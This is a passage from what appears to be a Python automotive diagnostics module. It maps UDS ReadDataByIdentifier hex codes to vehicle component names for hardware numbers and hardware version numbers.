\"Cell_module_controller_15_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66f5] = \"Seat_heating_rear_1_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66f6] = \"LED_warning_indicator_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66f7] = \"Automatic_transmission_fluid_pump_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66f8] = \"Manual_transmission_fluid_pump_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66f9] = \"Convenience_and_driver_assist_operating_unit_2_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66fb] = \"Air_coolant_actuator_3_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66fc] = \"Valve_block_4_in_driver_side_rear_seat_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66fd] = \"Valve_block_4_in_passenger_side_rear_seat_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66fe] = \"Valve_block_4_in_driver_side_front_seat_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x66ff] = \"Valve_block_4_in_passenger_side_front_seat_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6701] = \"Rear_climatronic_operating_and_display_unit_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6702] = \"Refrigerant_expansion_valve_1_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6703] = \"Refrigerant_expansion_valve_2_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6704] = \"Refrigerant_expansion_valve_3_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6705] = \"Refrigerant_shut_off_valve_1_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6706] = \"Refrigerant_shut_off_valve_2_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6707] = \"Refrigerant_shut_off_valve_3_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6708] = \"Refrigerant_shut_off_valve_4_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6709] = \"Refrigerant_shut_off_valve_5_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x670a] = \"Sunlight_sensor_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x670b] = \"Near_field_communication_control_module_2_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x670c] = \"Clutch_control_unit_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x670d] = \"Electrical_charger_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x670e] = \"Rear_light_left_2_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x670f] = \"Rear_light_right_1_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6710] = \"Rear_light_right_2_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6711] = \"Sunlight_sensor_2_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6712] = \"Radiator_shutter_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6713] = \"Radiator_shutter_2_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6714] = \"Radiator_shutter_3_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6715] = \"Radiator_shutter_4_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6718] = \"Special_key_operating_unit_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6719] = \"Radio_interface_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x671a] = \"Video_self_protection_recorder_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x671b] = \"Special_vehicle_assist_interface_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x671c] = \"Electric_system_disconnection_diode_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x671d] = \"Cradle_rear_climatronic_operating_and_display_unit_2_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x671e] = \"Belt_pretensioner_2nd_row_left_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x671f] = \"Belt_pretensioner_2nd_row_right_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6720] = \"Electrical_variable_camshaft_phasing_1_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6721] = \"Electrical_variable_camshaft_phasing_2_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6722] = \"Wireless_operating_unit_1_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6723] = \"Wireless_operating_unit_2_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6724] = \"Front_windshield_washer_pump_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6725] = \"Air_quality_sensor_2_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6726] = \"Fragrancing_system_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6727] = \"Coolant_valve_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6728] = \"Near_field_communication_control_module_3_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6729] = \"Interior_monitoring_rear_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x672a] = \"Cooler_fan_1_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x672b] = \"Control_unit_heating_1_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x672c] = \"Control_unit_heating_2_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x672d] = \"Control_unit_heating_3_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x672e] = \"Control_unit_heating_4_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x672f] = \"Operating_unit_drive_mode_selection_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6730] = \"Side_sensor_a-pillar_driver_front_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6731] = \"Side_sensor_a-pillar_passenger_front_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6732] = \"Sensor_high_voltage_system_1_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6733] = \"Side_sensor_b-pillar_driver_front_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6734] = \"Side_sensor_b-pillar_passenger_front_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6735] = \"Multi_function_steering_wheel_control_module_2_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6736] = \"Gear_selection_display_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6737] = \"Cooler_fan_2_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6738] = \"Gear_selector_control_module_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6739] = \"Interior_light_module_2_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x673a] = \"Radio_control_center_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x673b] = \"Multimedia_extension_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x673c] = \"Control_unit_differential_lock_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x673d] = \"Control_unit_ride_control_system_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x673e] = \"Control_unit_hands_on_detection_steering_wheel_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x673f] = \"Front_climatronic_operating_and_display_unit_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6740] = \"Auxiliary_display_unit_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6741] = \"Card_reader_tv_tuner_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6742] = \"Park_lock_actuator_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6743] = \"Media_connector_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6744] = \"Catalyst_heating_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x6801] = \"Control_unit_for_wiper_motor_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6802] = \"Rain_light_recognition_sensor_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6803] = \"Light_switch_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6804] = \"Garage_door_opener_control_module_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6805] = \"Garage_door_opener_operating_unit_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6806] = \"Ignition_key_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6807] = \"Left_front_seat_ventilation_control_module_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6808] = \"Right_front_seat_ventilation_control_module_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6809] = \"Left_rear_seat_ventilation_control_module_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x680a] = \"LED_headlamp_powermodule_left_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x680b] = \"LED_headlamp_powermodule_right_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x680c] = \"LED_headlamp_powermodule_2_left_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x680d] = \"LED_headlamp_powermodule_2_right_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x680e] = \"Operating_and_display_unit_1_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x680f] = \"Operating_and_display_unit_2_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6810] = \"Right_rear_seat_ventilation_control_module_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6811] = \"Data_medium_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6812] = \"Drivers_door_control_module_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6813] = \"Front_passengers_door_control_module_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6814] = \"Left_headlamp_power_output_stage_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6815] = \"Right_headlamp_power_output_stage_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6816] = \"Sensor_for_anti_theft_alarm_system_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6817] = \"Rear_lid_control_module_2_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6818] = \"Alarm_horn_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6819] = \"Automatic_day_night_interior_mirror_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x681a] = \"Remote_control_auxiliary_heater_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x681b] = \"Fresh_air_blower_front_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x681c] = \"Fresh_air_blower_back_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x681d] = \"Alternator_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x681e] = \"Interior_light_module_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x681f] = \"Refrigerant_pressure_and_temperature_sender_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6820] = \"Sun_roof_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6821] = \"Steering_column_lock_actuator_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6822] = \"Anti_theft_tilt_system_control_unit_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6823] = \"Tire_pressure_monitor_antenna_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6824] = \"Heated_windshield_control_module_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6825] = \"Rear_light_left_1_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6826] = \"Ceiling_light_module_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6827] = \"Left_front_massage_seat_control_module_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6828] = \"Right_front_massage_seat_control_module_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6829] = \"Control_module_for_auxiliary_air_heater_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x682a] = \"Belt Pretensioner left_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x682b] = \"Belt Pretensioner right_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x682c] = \"Occupant Detection_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x682d] = \"Selector_lever_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x682e] = \"NOx_sensor_1_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x682f] = \"NOx_sensor_2_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6830] = \"Ioniser_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6831] = \"Multi_function_steering_wheel_control_module_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6832] = \"Left_rear_door_control_module_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6833] = \"Right_rear_door_control_module_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6834] = \"Left_rear_massage_seat_control_module_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6835] = \"Right_rear_massage_seat_control_module_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6836] = \"Display_unit_1_for_multimedia_system_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6837] = \"Battery_monitoring_control_module_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6838] = \"Roof_blind_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6839] = \"Sun_roof_2_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x683a] = \"Steering_angle_sender_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x683b] = \"Lane_change_assistant 2_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x683c] = \"Pitch_rate_sender_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x683d] = \"ESP_sensor_unit_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x683e] = \"Electronic_ignition_lock_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x683f] = \"Air_quality_sensor_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6840] = \"Display_unit_2_for_multimedia_system_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6841] = \"Telephone_handset_2_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6842] = \"Chip_card_reader_control_module_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6843] = \"Traffic_data_aerial_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6844] = \"Hands_free_system_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6845] = \"Telephone_handset_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6846] = \"Display_unit_front_for_multimedia_system_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6847] = \"Multimedia_operating_unit_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6848] = \"Digital_sound_system_control_module_2_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6849] = \"Electrically_adjustable_steering_column_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x684a] = \"Interface_for_external_multimedia_unit_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x684b] = \"Relative_Air_Humidity_Interior_Sender_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x684c] = \"Drivers_door_rear_control_module_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x684d] = \"Passengers_rear_door_control_module_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x684e] = \"Sensor_controlled_power_rear_lid_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x684f] = \"Camera_for_night_vision_system_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6850] = \"Relative_humidity_sensor_in_fresh_air_intake_duct_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6851] = \"Rear_spoiler_adjustment_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6852] = \"Roof_blind_2_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6853] = \"Motor_for_wind_deflector_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6854] = \"Voltage_stabilizer_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6855] = \"Switch_module_for_driver_seat_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6856] = \"Switch_module_for_front_passenger_seat_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6857] = \"Switch_module_for_rear_seat_driver_side_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6858] = \"Switch_module_for_rear_seat_front_passenger_side_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6859] = \"Switch_module_2_for_driver_seat_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x685a] = \"Battery_charger_unit_1_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x685b] = \"Battery_charger_unit_2_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x685c] = \"Battery_charger_unit_3_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x685d] = \"Air_conditioning_compressor_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x685e] = \"Neck_heating_left_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x685f] = \"Neck_heating_right_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6860] = \"Switch_module_2_for_front_passenger_seat_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6861] = \"Switch_module_2_for_rear_seat_front_passenger_side_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6862] = \"Compact_disc_database_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6863] = \"Rear_climatronic_operating_and_display_unit_left_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6864] = \"Rear_climatronic_operating_and_display_unit_right_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6865] = \"Door_handle_front_left_Kessy_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6866] = \"Door_handle_front_right_Kessy_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6867] = \"Door_handle_rear_left_Kessy_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6868] = \"Door_handle_rear_right_Kessy_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6869] = \"Power_converter_DC_AC_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x686a] = \"Battery_monitoring_control_module_2_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x686b] = \"Matrix_headlamp_powermodule_1_left_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x686c] = \"Matrix_headlamp_powermodule_1_right_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x686d] = \"High_beam_powermodule_left_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x686e] = \"High_beam_powermodule_right_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x686f] = \"Air_suspension_compressor_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6870] = \"Rear_brake_actuator_1_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6871] = \"Rear_brake_actuator_2_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6872] = \"Analog_clock_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6873] = \"Rear_door_control_module_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6879] = \"Data_medium_2_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x687a] = \"Operating_unit_center_console_1_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x687b] = \"Operating_unit_center_console_2_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x687c] = \"Operating_unit_center_console_3_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x687d] = \"Operating_unit_center_console_4_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x687e] = \"Interface_for_radiodisplay_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x687f] = \"Parkassist_entry_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6886] = \"Belt_pretensioner_3rd_row_left_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6887] = \"Belt_pretensioner_3rd_row_right_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6888] = \"Injection_valve_heater_control_unit_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6889] = \"Steering_column_switch_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x688a] = \"Brake_assistance_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x688b] = \"Trailer_articulation_angle_sensor_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x688c] = \"Cup_holder_with_heater_and_cooling_element_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x688d] = \"Range_of_vision_sensing_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x688e] = \"Convenience_and_driver_assist_operating_unit_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x688f] = \"Cradle_rear_climatronic_operating_and_display_unit_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6890] = \"Trailer_weight_nose_weight_detection_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6891] = \"Sensor_carbon_dioxide_concentration_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6892] = \"Sensor_fine_dust_concentration_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6893] = \"Volume_control_1_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6894] = \"Belt_buckle_presenter_2nd_row_left_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6895] = \"Belt_buckle_presenter_2nd_row_right_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6896] = \"Operating_and_display_unit_6_for_air_conditioning_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6897] = \"Active_accelerator_pedal_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6898] = \"Multimedia_operating_unit_2_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x6899] = \"Display_unit_3_for_multimedia_system_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x689a] = \"Display_unit_4_for_multimedia_system_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x689b] = \"Display_unit_5_for_multimedia_system_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x689c] = \"Control_module_for_auxiliary_blower_motors_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x689d] = \"Operating_and_display_unit_3_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x689e] = \"Operating_and_display_unit_4_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x689f] = \"Operating_and_display_unit_5_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68a0] = \"Side Sensor Driver Front_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68a1] = \"Side Sensor Passenger Front_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68a2] = \"Side Sensor Driver Rear_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68a3] = \"Side Sensor Passenger Rear_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68a4] = \"Front Sensor Driver_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68a5] = \"Front Sensor Passenger_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68a6] = \"Pedestrian Protection Driver_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68a7] = \"Pedestrian Protection Passenger_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68a8] = \"Rear Sensor Center_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68a9] = \"Pedestrian Protection Center_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68aa] = \"Pedestrian Protection Contact_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68ab] = \"Pedestrian_protection_driver_2_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68ac] = \"Pedestrian_protection_passenger_2_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68ad] = \"Central_sensor_XY_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68ae] = \"Refrigerant_pressure_and_temperature_sender_2_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68af] = \"Refrigerant_pressure_and_temperature_sender_3_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68b0] = \"Switch_for_rear_multicontour_seat_driver_side_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68b1] = \"Valve_block_1_in_driver_side_rear_seat_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68b2] = \"Valve_block_2_in_driver_side_rear_seat_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68b3] = \"Valve_block_3_in_driver_side_rear_seat_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68b4] = \"Switch_for_rear_multicontour_seat_passenger_side_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68b5] = \"Valve_block_1_in_passenger_side_rear_seat_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68b6] = \"Valve_block_2_in_passenger_side_rear_seat_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68b7] = \"Valve_block_3_in_passenger_side_rear_seat_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68b8] = \"Switch_for_front_multicontour_seat_driver_side_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68b9] = \"Valve_block_1_in_driver_side_front_seat_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68ba] = \"Valve_block_2_in_driver_side_front_seat_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68bb] = \"Valve_block_3_in_driver_side_front_seat_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68bc] = \"Switch_for_front_multicontour_seat_passenger_side_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68bd] = \"Valve_block_1_in_passenger_side_front_seat_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68be] = \"Valve_block_2_in_passenger_side_front_seat_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68bf] = \"Valve_block_3_in_passenger_side_front_seat_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68c0] = \"Coolant_heater_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68c1] = \"Seat_backrest_fan_1_front_left_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68c2] = \"Seat_backrest_fan_2_front_left_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68c3] = \"Seat_cushion_fan_1_front_left_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68c4] = \"Seat_cushion_fan_2_front_left_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68c5] = \"Seat_backrest_fan_1_front_right_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68c6] = \"Seat_backrest_fan_2_front_right_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68c7] = \"Seat_cushion_fan_1_front_right_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68c8] = \"Seat_cushion_fan_2_front_right_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68c9] = \"Operating_and_display_unit_1_for_air_conditioning_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68ca] = \"Operating_and_display_unit_2_for_air_conditioning_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68cb] = \"Operating_and_display_unit_3_for_air_conditioning_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68cc] = \"Operating_and_display_unit_4_for_air_conditioning_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68cd] = \"Operating_and_display_unit_5_for_air_conditioning_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68ce] = \"Pedestrian_protection_left_hand_side_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68cf] = \"Pedestrian_protection_right_hand_side_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68d0] = \"Battery_junction_box_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68d1] = \"Cell_module_controller_1_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68d2] = \"Cell_module_controller_2_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68d3] = \"Cell_module_controller_3_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68d4] = \"Cell_module_controller_4_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x68d5] = 